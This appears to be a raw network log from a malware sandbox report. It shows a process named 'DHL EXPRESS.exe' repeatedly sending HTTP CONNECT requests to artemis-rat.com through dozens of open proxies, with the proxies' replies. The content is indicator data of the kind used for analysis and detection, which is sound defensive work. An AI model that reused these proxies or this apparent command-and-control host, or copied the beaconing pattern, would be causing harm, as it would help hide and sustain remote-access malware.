1048	192.168.2.8	53070	43.163.192.3	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.679754019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1049	192.168.2.8	53076	23.19.244.109	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.680011988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1050	192.168.2.8	53049	13.38.176.104	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.680134058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.979199886 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1051	192.168.2.8	53136	41.86.252.91	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.680200100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1052	192.168.2.8	53138	41.86.252.91	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.682848930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1053	192.168.2.8	53015	185.101.16.52	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.682852983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1054	192.168.2.8	53139	41.86.252.91	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.684390068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1055	192.168.2.8	53068	110.12.211.140	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.696557045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1056	192.168.2.8	53069	121.182.138.71	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.701951027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1057	192.168.2.8	52492	203.161.32.242	61070	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.702104092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.706513882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.800455093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.909754992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1058	192.168.2.8	52326	212.110.188.213	34411	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.703427076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.502753973 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1059	192.168.2.8	52968	3.108.115.48	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.703593969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.104268074 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1060	192.168.2.8	52933	154.118.228.212	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.706351042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1061	192.168.2.8	53053	185.38.111.1	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.708996058 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:50.030105114 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Length: 0
Mar 11, 2024 18:36:50.366123915 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1062	192.168.2.8	53052	193.239.58.92	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.711319923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1063	192.168.2.8	53020	95.165.129.55	8833	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.712960005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.456623077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.565979958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.135886908 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1064	192.168.2.8	53038	138.94.76.86	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.717314005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.238600016 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1065	192.168.2.8	52356	37.187.73.7	41385	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.717396975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.706517935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.800447941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.909758091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.909432888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1066	192.168.2.8	53071	121.66.198.76	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.727554083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1067	192.168.2.8	52910	175.183.82.221	8193	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.733445883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1068	192.168.2.8	53059	45.11.95.165	5213	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.736639977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1069	192.168.2.8	52964	106.105.218.244	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.743077993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.176054955 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1070	192.168.2.8	53082	146.19.106.194	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.747136116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1071	192.168.2.8	53123	172.67.69.9	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.752682924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.907778025 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1072	192.168.2.8	51244	189.240.60.164	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.753014088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.046319008 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0
Mar 11, 2024 18:36:50.726319075 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1073	192.168.2.8	53078	70.166.167.55	57745	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.753891945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1074	192.168.2.8	53102	91.134.140.160	20896	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.754091978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1075	192.168.2.8	52458	63.76.255.180	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.767606020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1076	192.168.2.8	53075	212.31.100.138	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.768580914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1077	192.168.2.8	53211	43.153.81.60	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.789694071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1078	192.168.2.8	53112	23.95.209.142	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.792000055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1079	192.168.2.8	52415	45.11.95.165	6010	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.811774015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1080	192.168.2.8	53039	103.163.51.254	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.811906099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1081	192.168.2.8	53080	193.8.87.43	4444	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.841850042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1082	192.168.2.8	53077	116.106.105.55	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.842134953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1083	192.168.2.8	51020	64.227.108.25	31908	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.842156887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.879646063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1084	192.168.2.8	53083	114.156.77.107	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.842531919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1085	192.168.2.8	52536	172.67.181.20	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.843893051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.998262882 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1086	192.168.2.8	53086	125.141.139.60	5566	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.858001947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
